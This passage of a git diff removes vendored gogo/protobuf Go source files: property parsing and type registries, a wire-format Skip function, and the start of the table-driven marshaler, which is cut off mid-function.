name, tag, f, true) -} - -func (p *Properties) init(typ reflect.Type, name, tag string, f *reflect.StructField, lockGetProp bool) { - // "bytes,49,opt,def=hello!" - p.Name = name - p.OrigName = name - if tag == "" { - return - } - p.Parse(tag) - p.setFieldProps(typ, f, lockGetProp) -} - -var ( - propertiesMu sync.RWMutex - propertiesMap = make(map[reflect.Type]*StructProperties) -) - -// GetProperties returns the list of properties for the type represented by t. -// t must represent a generated struct type of a protocol message. -func GetProperties(t reflect.Type) *StructProperties { - if t.Kind() != reflect.Struct { - panic("proto: type must have kind struct") - } - - // Most calls to GetProperties in a long-running program will be - // retrieving details for types we have seen before. - propertiesMu.RLock() - sprop, ok := propertiesMap[t] - propertiesMu.RUnlock() - if ok { - return sprop - } - - propertiesMu.Lock() - sprop = getPropertiesLocked(t) - propertiesMu.Unlock() - return sprop -} - -type ( - oneofFuncsIface interface { - XXX_OneofFuncs() (func(Message, *Buffer) error, func(Message, int, int, *Buffer) (bool, error), func(Message) int, []interface{}) - } - oneofWrappersIface interface { - XXX_OneofWrappers() []interface{} - } -) - -// getPropertiesLocked requires that propertiesMu is held. -func getPropertiesLocked(t reflect.Type) *StructProperties { - if prop, ok := propertiesMap[t]; ok { - return prop - } - - prop := new(StructProperties) - // in case of recursive protos, fill this in now. - propertiesMap[t] = prop - - // build properties - prop.Prop = make([]*Properties, t.NumField()) - prop.order = make([]int, t.NumField()) - - isOneofMessage := false - for i := 0; i < t.NumField(); i++ { - f := t.Field(i) - p := new(Properties) - name := f.Name - p.init(f.Type, name, f.Tag.Get("protobuf"), &f, false) - - oneof := f.Tag.Get("protobuf_oneof") // special case - if oneof != "" { - isOneofMessage = true - // Oneof fields don't use the traditional protobuf tag. - p.OrigName = oneof - } - prop.Prop[i] = p - prop.order[i] = i - if debug { - print(i, " ", f.Name, " ", t.String(), " ") - if p.Tag > 0 { - print(p.String()) - } - print("\n") - } - } - - // Re-order prop.order. - sort.Sort(prop) - - if isOneofMessage { - var oots []interface{} - switch m := reflect.Zero(reflect.PtrTo(t)).Interface().(type) { - case oneofFuncsIface: - _, _, _, oots = m.XXX_OneofFuncs() - case oneofWrappersIface: - oots = m.XXX_OneofWrappers() - } - if len(oots) > 0 { - // Interpret oneof metadata. - prop.OneofTypes = make(map[string]*OneofProperties) - for _, oot := range oots { - oop := &OneofProperties{ - Type: reflect.ValueOf(oot).Type(), // *T - Prop: new(Properties), - } - sft := oop.Type.Elem().Field(0) - oop.Prop.Name = sft.Name - oop.Prop.Parse(sft.Tag.Get("protobuf")) - // There will be exactly one interface field that - // this new value is assignable to. - for i := 0; i < t.NumField(); i++ { - f := t.Field(i) - if f.Type.Kind() != reflect.Interface { - continue - } - if !oop.Type.AssignableTo(f.Type) { - continue - } - oop.Field = i - break - } - prop.OneofTypes[oop.Prop.OrigName] = oop - } - } - } - - // build required counts - // build tags - reqCount := 0 - prop.decoderOrigNames = make(map[string]int) - for i, p := range prop.Prop { - if strings.HasPrefix(p.Name, "XXX_") { - // Internal fields should not appear in tags/origNames maps. - // They are handled specially when encoding and decoding. - continue - } - if p.Required { - reqCount++ - } - prop.decoderTags.put(p.Tag, i) - prop.decoderOrigNames[p.OrigName] = i - } - prop.reqCount = reqCount - - return prop -} - -// A global registry of enum types. -// The generated code will register the generated maps by calling RegisterEnum. - -var enumValueMaps = make(map[string]map[string]int32) -var enumStringMaps = make(map[string]map[int32]string) - -// RegisterEnum is called from the generated code to install the enum descriptor -// maps into the global table to aid parsing text format protocol buffers. -func RegisterEnum(typeName string, unusedNameMap map[int32]string, valueMap map[string]int32) { - if _, ok := enumValueMaps[typeName]; ok { - panic("proto: duplicate enum registered: " + typeName) - } - enumValueMaps[typeName] = valueMap - if _, ok := enumStringMaps[typeName]; ok { - panic("proto: duplicate enum registered: " + typeName) - } - enumStringMaps[typeName] = unusedNameMap -} - -// EnumValueMap returns the mapping from names to integers of the -// enum type enumType, or a nil if not found. -func EnumValueMap(enumType string) map[string]int32 { - return enumValueMaps[enumType] -} - -// A registry of all linked message types. -// The string is a fully-qualified proto name ("pkg.Message"). -var ( - protoTypedNils = make(map[string]Message) // a map from proto names to typed nil pointers - protoMapTypes = make(map[string]reflect.Type) // a map from proto names to map types - revProtoTypes = make(map[reflect.Type]string) -) - -// RegisterType is called from generated code and maps from the fully qualified -// proto name to the type (pointer to struct) of the protocol buffer. -func RegisterType(x Message, name string) { - if _, ok := protoTypedNils[name]; ok { - // TODO: Some day, make this a panic. - log.Printf("proto: duplicate proto type registered: %s", name) - return - } - t := reflect.TypeOf(x) - if v := reflect.ValueOf(x); v.Kind() == reflect.Ptr && v.Pointer() == 0 { - // Generated code always calls RegisterType with nil x. - // This check is just for extra safety. - protoTypedNils[name] = x - } else { - protoTypedNils[name] = reflect.Zero(t).Interface().(Message) - } - revProtoTypes[t] = name -} - -// RegisterMapType is called from generated code and maps from the fully qualified -// proto name to the native map type of the proto map definition. -func RegisterMapType(x interface{}, name string) { - if reflect.TypeOf(x).Kind() != reflect.Map { - panic(fmt.Sprintf("RegisterMapType(%T, %q); want map", x, name)) - } - if _, ok := protoMapTypes[name]; ok { - log.Printf("proto: duplicate proto type registered: %s", name) - return - } - t := reflect.TypeOf(x) - protoMapTypes[name] = t - revProtoTypes[t] = name -} - -// MessageName returns the fully-qualified proto name for the given message type. -func MessageName(x Message) string { - type xname interface { - XXX_MessageName() string - } - if m, ok := x.(xname); ok { - return m.XXX_MessageName() - } - return revProtoTypes[reflect.TypeOf(x)] -} - -// MessageType returns the message type (pointer to struct) for a named message. -// The type is not guaranteed to implement proto.Message if the name refers to a -// map entry. -func MessageType(name string) reflect.Type { - if t, ok := protoTypedNils[name]; ok { - return reflect.TypeOf(t) - } - return protoMapTypes[name] -} - -// A registry of all linked proto files. -var ( - protoFiles = make(map[string][]byte) // file name => fileDescriptor -) - -// RegisterFile is called from generated code and maps from the -// full file name of a .proto file to its compressed FileDescriptorProto. -func RegisterFile(filename string, fileDescriptor []byte) { - protoFiles[filename] = fileDescriptor -} - -// FileDescriptor returns the compressed FileDescriptorProto for a .proto file. -func FileDescriptor(filename string) []byte { return protoFiles[filename] } diff --git a/vendor/github.com/gogo/protobuf/proto/properties_gogo.go b/vendor/github.com/gogo/protobuf/proto/properties_gogo.go deleted file mode 100644 index 40ea3dd9..00000000 --- a/vendor/github.com/gogo/protobuf/proto/properties_gogo.go +++ /dev/null @@ -1,36 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "reflect" -) - -var sizerType = reflect.TypeOf((*Sizer)(nil)).Elem() -var protosizerType = reflect.TypeOf((*ProtoSizer)(nil)).Elem() diff --git a/vendor/github.com/gogo/protobuf/proto/skip_gogo.go b/vendor/github.com/gogo/protobuf/proto/skip_gogo.go deleted file mode 100644 index 5a5fd93f..00000000 --- a/vendor/github.com/gogo/protobuf/proto/skip_gogo.go +++ /dev/null @@ -1,119 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "fmt" - "io" -) - -func Skip(data []byte) (n int, err error) { - l := len(data) - index := 0 - for index < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if index >= l { - return 0, io.ErrUnexpectedEOF - } - b := data[index] - index++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for { - if index >= l { - return 0, io.ErrUnexpectedEOF - } - index++ - if data[index-1] < 0x80 { - break - } - } - return index, nil - case 1: - index += 8 - return index, nil - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if index >= l { - return 0, io.ErrUnexpectedEOF - } - b := data[index] - index++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - index += length - return index, nil - case 3: - for { - var innerWire uint64 - var start int = index - for shift := uint(0); ; shift += 7 { - if index >= l { - return 0, io.ErrUnexpectedEOF - } - b := data[index] - index++ - innerWire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - innerWireType := int(innerWire & 0x7) - if innerWireType == 4 { - break - } - next, err := Skip(data[start:]) - if err != nil { - return 0, err - } - index = start + next - } - return index, nil - case 4: - return index, nil - case 5: - index += 4 - return index, nil - default: - return 0, fmt.Errorf("proto: illegal wireType %d", wireType) - } - } - panic("unreachable") -} diff --git a/vendor/github.com/gogo/protobuf/proto/table_marshal.go b/vendor/github.com/gogo/protobuf/proto/table_marshal.go deleted file mode 100644 index f8babdef..00000000 --- a/vendor/github.com/gogo/protobuf/proto/table_marshal.go +++ /dev/null @@ -1,3009 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "errors" - "fmt" - "math" - "reflect" - "sort" - "strconv" - "strings" - "sync" - "sync/atomic" - "unicode/utf8" -) - -// a sizer takes a pointer to a field and the size of its tag, computes the size of -// the encoded data. -type sizer func(pointer, int) int - -// a marshaler takes a byte slice, a pointer to a field, and its tag (in wire format), -// marshals the field to the end of the slice, returns the slice and error (if any). -type marshaler func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) - -// marshalInfo is the information used for marshaling a message. -type marshalInfo struct { - typ reflect.Type - fields []*marshalFieldInfo - unrecognized field // offset of XXX_unrecognized - extensions field // offset of XXX_InternalExtensions - v1extensions field // offset of XXX_extensions - sizecache field // offset of XXX_sizecache - initialized int32 // 0 -- only typ is set, 1 -- fully initialized - messageset bool // uses message set wire format - hasmarshaler bool // has custom marshaler - sync.RWMutex // protect extElems map, also for initialization - extElems map[int32]*marshalElemInfo // info of extension elements - - hassizer bool // has custom sizer - hasprotosizer bool // has custom protosizer - - bytesExtensions field // offset of XXX_extensions where the field type is []byte -} - -// marshalFieldInfo is the information used for marshaling a field of a message. -type marshalFieldInfo struct { - field field - wiretag uint64 // tag in wire format - tagsize int // size of tag in wire format - sizer sizer - marshaler marshaler - isPointer bool - required bool // field is required - name string // name of the field, for error reporting - oneofElems map[reflect.Type]*marshalElemInfo // info of oneof elements -} - -// marshalElemInfo is the information used for marshaling an extension or oneof element. -type marshalElemInfo struct { - wiretag uint64 // tag in wire format - tagsize int // size of tag in wire format - sizer sizer - marshaler marshaler - isptr bool // elem is pointer typed, thus interface of this type is a direct interface (extension only) -} - -var ( - marshalInfoMap = map[reflect.Type]*marshalInfo{} - marshalInfoLock sync.Mutex - - uint8SliceType = reflect.TypeOf(([]uint8)(nil)).Kind() -) - -// getMarshalInfo returns the information to marshal a given type of message. -// The info it returns may not necessarily initialized. -// t is the type of the message (NOT the pointer to it). -func getMarshalInfo(t reflect.Type) *marshalInfo { - marshalInfoLock.Lock() - u, ok := marshalInfoMap[t] - if !ok { - u = &marshalInfo{typ: t} - marshalInfoMap[t] = u - } - marshalInfoLock.Unlock() - return u -} - -// Size is the entry point from generated code, -// and should be ONLY called by generated code. -// It computes the size of encoded data of msg. -// a is a pointer to a place to store cached marshal info. -func (a *InternalMessageInfo) Size(msg Message) int { - u := getMessageMarshalInfo(msg, a) - ptr := toPointer(&msg) - if ptr.isNil() { - // We get here if msg is a typed nil ((*SomeMessage)(nil)), - // so it satisfies the interface, and msg == nil wouldn't - // catch it. We don't want crash in this case. - return 0 - } - return u.size(ptr) -} - -// Marshal is the entry point from generated code, -// and should be ONLY called by generated code. -// It marshals msg to the end of b. -// a is a pointer to a place to store cached marshal info. -func (a *InternalMessageInfo) Marshal(b []byte, msg Message, deterministic bool) ([]byte, error) { - u := getMessageMarshalInfo(msg, a) - ptr := toPointer(&msg) - if ptr.isNil() { - // We get here if msg is a typed nil ((*SomeMessage)(nil)), - // so it satisfies the interface, and msg == nil wouldn't - // catch it. We don't want crash in this case. - return b, ErrNil - } - return u.marshal(b, ptr, deterministic) -} - -func getMessageMarshalInfo(msg interface{}, a *InternalMessageInfo) *marshalInfo { - // u := a.marshal, but atomically. - // We use an atomic here to ensure memory consistency. - u := atomicLoadMarshalInfo(&a.marshal) - if u == nil { - // Get marshal information from type of message. - t := reflect.ValueOf(msg).Type() - if t.Kind() != reflect.Ptr { - panic(fmt.Sprintf("cannot handle non-pointer message type %v", t)) - } - u = getMarshalInfo(t.Elem()) - // Store it in the cache for later users. - // a.marshal = u, but atomically. - atomicStoreMarshalInfo(&a.marshal, u) - } - return u -} - -// size is the main function to compute the size of the encoded data of a message. -// ptr is the pointer to the message. -func (u *marshalInfo) size(ptr pointer) int { - if atomic.LoadInt32(&u.initialized) == 0 { - u.computeMarshalInfo() - } - - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - if u.hasmarshaler { - // Uses the message's Size method if available - if u.hassizer { - s := ptr.asPointerTo(u.typ).Interface().(Sizer) - return s.Size() - } - // Uses the message's ProtoSize method if available - if u.hasprotosizer { - s := ptr.asPointerTo(u.typ).Interface().(ProtoSizer) - return s.ProtoSize() - } - - m := ptr.asPointerTo(u.typ).Interface().(Marshaler) - b, _ := m.Marshal() - return len(b) - } - - n := 0 - for _, f := range u.fields { - if f.isPointer && ptr.offset(f.field).getPointer().isNil() { - // nil pointer always marshals to nothing - continue - } - n += f.sizer(ptr.offset(f.field), f.tagsize) - } - if u.extensions.IsValid() { - e := ptr.offset(u.extensions).toExtensions() - if u.messageset { - n += u.sizeMessageSet(e) - } else { - n += u.sizeExtensions(e) - } - } - if u.v1extensions.IsValid() { - m := *ptr.offset(u.v1extensions).toOldExtensions() - n += u.sizeV1Extensions(m) - } - if u.bytesExtensions.IsValid() { - s := *ptr.offset(u.bytesExtensions).toBytes() - n += len(s) - } - if u.unrecognized.IsValid() { - s := *ptr.offset(u.unrecognized).toBytes() - n += len(s) - } - - // cache the result for use in marshal - if u.sizecache.IsValid() { - atomic.StoreInt32(ptr.offset(u.sizecache).toInt32(), int32(n)) - } - return n -} - -// cachedsize gets the size from cache. If there is no cache (i.e. message is not generated), -// fall back to compute the size. -func (u *marshalInfo) cachedsize(ptr pointer) int { - if u.sizecache.IsValid() { - return int(atomic.LoadInt32(ptr.offset(u.sizecache).toInt32())) - } - return u.size(ptr) -} - -// marshal is the main function to marshal a message. It takes a byte slice and appends -// the encoded data to the end of the slice, returns the slice and error (if any). -// ptr is the pointer to the message. -// If deterministic is true, map is marshaled in deterministic order. -func (u *marshalInfo) marshal(b []byte, ptr pointer, deterministic bool) ([]byte, error) { - if atomic.LoadInt32(&u.initialized) == 0 { - u.computeMarshalInfo() - } - - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - if u.hasmarshaler { - m := ptr.asPointerTo(u.typ).Interface().(Marshaler) - b1, err := m.Marshal() - b = append(b, b1...) - return b, err - } - - var err, errLater error - // The old marshaler encodes extensions at beginning. - if u.extensions.IsValid() { - e := ptr.offset(u.extensions).toExtensions() - if u.messageset { - b, err = u.appendMessageSet(b, e, deterministic) - } else { - b, err = u.appendExtensions(b, e, deterministic) - } - if err != nil { - return b, err - } - } - if u.v1extensions.IsValid() { - m := *ptr.offset(u.v1extensions).toOldExtensions() - b, err = u.appendV1Extensions(b, m, deterministic) - if err != nil { - return b, err - } - } - if u.bytesExtensions.IsValid() { - s := *ptr.offset(u.bytesExtensions).toBytes() - b = append(b, s...) - } - for _, f := range u.fields { - if f.required { - if f.isPointer && ptr.offset(f.field).getPointer().isNil() { - // Required field is not set. - // We record the error but keep going, to give a complete marshaling. - if errLater == nil { - errLater = &RequiredNotSetError{f.name} - } - continue - } - } - if f.isPointer && ptr.offset(f.field).getPointer().isNil() { - // nil pointer always marshals to nothing - continue - } - b, err = f.marshaler(b, ptr.offset(f.field), f.wiretag, deterministic) - if err != nil { - if err1, ok := err.(*RequiredNotSetError); ok { - // Required field in submessage is not set. - // We record the error but keep going, to give a complete marshaling. - if errLater == nil { - errLater = &RequiredNotSetError{f.name + "." + err1.field} - } - continue - } - if err == errRepeatedHasNil { - err = errors.New("proto: repeated field " + f.name + " has nil element") - } - if err == errInvalidUTF8 { - if errLater == nil { - fullName := revProtoTypes[reflect.PtrTo(u.typ)] + "." + f.name - errLater = &invalidUTF8Error{fullName} - } - continue - } - return b, err - } - } - if u.unrecognized.IsValid() { - s := *ptr.offset(u.unrecognized).toBytes() - b = append(b, s...) - } - return b, errLater -} - -// computeMarshalInfo initializes the marshal info. -func (u *marshalInfo) computeMarshalInfo() { - u.Lock() - defer u.Unlock() - if u.initialized != 0 { // non-atomic read is ok as it is protected by the lock - return - } - - t := u.typ - u.unrecognized = invalidField - u.extensions = invalidField - u.v1extensions = invalidField - u.bytesExtensions = invalidField - u.sizecache = invalidField - isOneofMessage := false - - if reflect.PtrTo(t).Implements(sizerType) { - u.hassizer = true - } - if reflect.PtrTo(t).Implements(protosizerType) { - u.hasprotosizer = true - } - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - if reflect.PtrTo(t).Implements(marshalerType) { - u.hasmarshaler = true - atomic.StoreInt32(&u.initialized, 1) - return - } - - n := t.NumField() - - // deal with XXX fields first - for i := 0; i < t.NumField(); i++ { - f := t.Field(i) - if f.Tag.Get("protobuf_oneof") != "" { - isOneofMessage = true - } - if !strings.HasPrefix(f.Name, "XXX_") { - continue - } - switch f.Name { - case "XXX_sizecache": - u.sizecache = toField(&f) - case "XXX_unrecognized": - u.unrecognized = toField(&f) - case "XXX_InternalExtensions": - u.extensions = toField(&f) - u.messageset = f.Tag.Get("protobuf_messageset") == "1" - case "XXX_extensions": - if f.Type.Kind() == reflect.Map { - u.v1extensions = toField(&f) - } else { - u.bytesExtensions = toField(&f) - } - case "XXX_NoUnkeyedLiteral": - // nothing to do - default: - panic("unknown XXX field: " + f.Name) - } - n-- - } - - // get oneof implementers - var oneofImplementers []interface{} - // gogo: isOneofMessage is needed for embedded oneof messages, without a marshaler and unmarshaler - if isOneofMessage { - switch m := reflect.Zero(reflect.PtrTo(t)).Interface().(type) { - case oneofFuncsIface: - _, _, _, oneofImplementers = m.XXX_OneofFuncs() - case oneofWrappersIface: - oneofImplementers = m.XXX_OneofWrappers() - } - } - - // normal fields - fields := make([]marshalFieldInfo, n) // batch allocation - u.fields = make([]*marshalFieldInfo, 0, n) - for i, j := 0, 0; i < t.NumField(); i++ { - f := t.Field(i) - - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - field := &fields[j] - j++ - field.name = f.Name - u.fields = append(u.fields, field) - if f.Tag.Get("protobuf_oneof") != "" { - field.computeOneofFieldInfo(&f, oneofImplementers) - continue - } - if f.Tag.Get("protobuf") == "" { - // field has no tag (not in generated message), ignore it - u.fields = u.fields[:len(u.fields)-1] - j-- - continue - } - field.computeMarshalFieldInfo(&f) - } - - // fields are marshaled in tag order on the wire. - sort.Sort(byTag(u.fields)) - - atomic.StoreInt32(&u.initialized, 1) -} - -// helper for sorting fields by tag -type byTag []*marshalFieldInfo - -func (a byTag) Len() int { return len(a) } -func (a byTag) Swap(i, j int) { a[i], a[j] = a[j], a[i] } -func (a byTag) Less(i, j int) bool { return a[i].wiretag < a[j].wiretag } - -// getExtElemInfo returns the information to marshal an extension element. -// The info it returns is initialized. -func (u *marshalInfo) getExtElemInfo(desc *ExtensionDesc) *marshalElemInfo { - // get from cache first - u.RLock() - e, ok := u.extElems[desc.Field] - u.RUnlock() - if ok { - return e - } - - t := reflect.TypeOf(desc.ExtensionType) // pointer or slice to basic type or struct - tags := strings.Split(desc.Tag, ",") - tag, err := strconv.Atoi(tags[1]) - if err != nil { - panic("tag is not an integer") - } - wt := wiretype(tags[0]) - sizr, marshalr := typeMarshaler(t, tags, false, false) - e = &marshalElemInfo{ - wiretag: uint64(tag)<<3 | wt, - tagsize: SizeVarint(uint64(tag) << 3), - sizer: sizr, - marshaler: marshalr, - isptr: t.Kind() == reflect.Ptr, - } - - // update cache - u.Lock() - if u.extElems == nil { - u.extElems = make(map[int32]*marshalElemInfo) - } - u.extElems[desc.Field] = e - u.Unlock() - return e -} - -// computeMarshalFieldInfo fills up the information to marshal a field. -func (fi *marshalFieldInfo) computeMarshalFieldInfo(f *reflect.StructField) { - // parse protobuf tag of the field. - // tag has format of "bytes,49,opt,name=foo,def=hello!" - tags := strings.Split(f.Tag.Get("protobuf"), ",") - if tags[0] == "" { - return - } - tag, err := strconv.Atoi(tags[1]) - if err != nil { - panic("tag is not an integer") - } - wt := wiretype(tags[0]) - if tags[2] == "req" { - fi.required = true - } - fi.setTag(f, tag, wt) - fi.setMarshaler(f, tags) -} - -func (fi *marshalFieldInfo) computeOneofFieldInfo(f *reflect.StructField, oneofImplementers []interface{}) { - fi.field = toField(f) - fi.wiretag = math.MaxInt32 // Use a large tag number, make oneofs sorted at the end. This tag will not appear on the wire. - fi.isPointer = true - fi.sizer, fi.marshaler = makeOneOfMarshaler(fi, f) - fi.oneofElems = make(map[reflect.Type]*marshalElemInfo) - - ityp := f.Type // interface type - for _, o := range oneofImplementers { - t := reflect.TypeOf(o) - if !t.Implements(ityp) { - continue - } - sf := t.Elem().Field(0) // oneof implementer is a struct with a single field - tags := strings.Split(sf.Tag.Get("protobuf"), ",") - tag, err := strconv.Atoi(tags[1]) - if err != nil { - panic("tag is not an integer") - } - wt := wiretype(tags[0]) - sizr, marshalr := typeMarshaler(sf.Type, tags, false, true) // oneof should not omit any zero value - fi.oneofElems[t.Elem()] = &marshalElemInfo{ - wiretag: uint64(tag)<<3 | wt, - tagsize: SizeVarint(uint64(tag) << 3), - sizer: sizr, - marshaler: marshalr, - } - } -} - -// wiretype returns the wire encoding of the type. -func wiretype(encoding string) uint64 { - switch encoding { - case "fixed32": - return WireFixed32 - case "fixed64": - return WireFixed64 - case "varint", "zigzag32", "zigzag64": - return WireVarint - case "bytes": - return WireBytes - case "group": - return WireStartGroup - } - panic("unknown wire type " + encoding) -} - -// setTag fills up the tag (in wire format) and its size in the info of a field. -func (fi *marshalFieldInfo) setTag(f *reflect.StructField, tag int, wt uint64) { - fi.field = toField(f) - fi.wiretag = uint64(tag)<<3 | wt - fi.tagsize = SizeVarint(uint64(tag) << 3) -} - -// setMarshaler fills up the sizer and marshaler in the info of a field. -func (fi *marshalFieldInfo) setMarshaler(f *reflect.StructField, tags []string) { - switch f.Type.Kind() { - case reflect.Map: - // map field - fi.isPointer = true - fi.sizer, fi.marshaler = makeMapMarshaler(f) - return - case reflect.Ptr, reflect.Slice: - fi.isPointer = true - } - fi.sizer, fi.marshaler = typeMarshaler(f.Type, tags, true, false) -} - -// typeMarshaler returns the sizer and marshaler of a given field. -// t is the type of the field. -// tags is the generated "protobuf" tag of the field. -// If nozero is true, zero value is not marshaled to the wire. -// If oneof is true, it is a oneof field. -func typeMarshaler(t reflect.Type, tags []string, nozero, oneof bool) (sizer, marshaler) { - encoding := tags[0] - - pointer := false - slice := false - if t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 { - slice = true - t = t.Elem() - } - if t.Kind() == reflect.Ptr { - pointer = true - t = t.Elem() - } - - packed := false - proto3 := false - ctype := false - isTime := false - isDuration := false - isWktPointer := false - validateUTF8 := true - for i := 2; i < len(tags); i++ { - if tags[i] == "packed" { - packed = true - } - if tags[i] == "proto3" { - proto3 = true - } - if strings.HasPrefix(tags[i], "customtype=") { - ctype = true - } - if tags[i] == "stdtime" { - isTime = true - } - if tags[i] == "stdduration" { - isDuration = true - } - if tags[i] == "wktptr" { - isWktPointer = true - } - } - validateUTF8 = validateUTF8 && proto3 - if !proto3 && !pointer && !slice { - nozero = false - } - - if ctype { - if reflect.PtrTo(t).Implements(customType) { - if slice { - return makeMessageRefSliceMarshaler(getMarshalInfo(t)) - } - if pointer { - return makeCustomPtrMarshaler(getMarshalInfo(t)) - } - return makeCustomMarshaler(getMarshalInfo(t)) - } else { - panic(fmt.Sprintf("custom type: type: %v, does not implement the proto.custom interface", t)) - } - } - - if isTime { - if pointer { - if slice { - return makeTimePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeTimePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeTimeSliceMarshaler(getMarshalInfo(t)) - } - return makeTimeMarshaler(getMarshalInfo(t)) - } - - if isDuration { - if pointer { - if slice { - return makeDurationPtrSliceMarshaler(getMarshalInfo(t)) - } - return makeDurationPtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeDurationSliceMarshaler(getMarshalInfo(t)) - } - return makeDurationMarshaler(getMarshalInfo(t)) - } - - if isWktPointer { - switch t.Kind() { - case reflect.Float64: - if pointer { - if slice { - return makeStdDoubleValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdDoubleValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdDoubleValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdDoubleValueMarshaler(getMarshalInfo(t)) - case reflect.Float32: - if pointer { - if slice { - return makeStdFloatValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdFloatValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdFloatValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdFloatValueMarshaler(getMarshalInfo(t)) - case reflect.Int64: - if pointer { - if slice { - return makeStdInt64ValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdInt64ValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdInt64ValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdInt64ValueMarshaler(getMarshalInfo(t)) - case reflect.Uint64: - if pointer 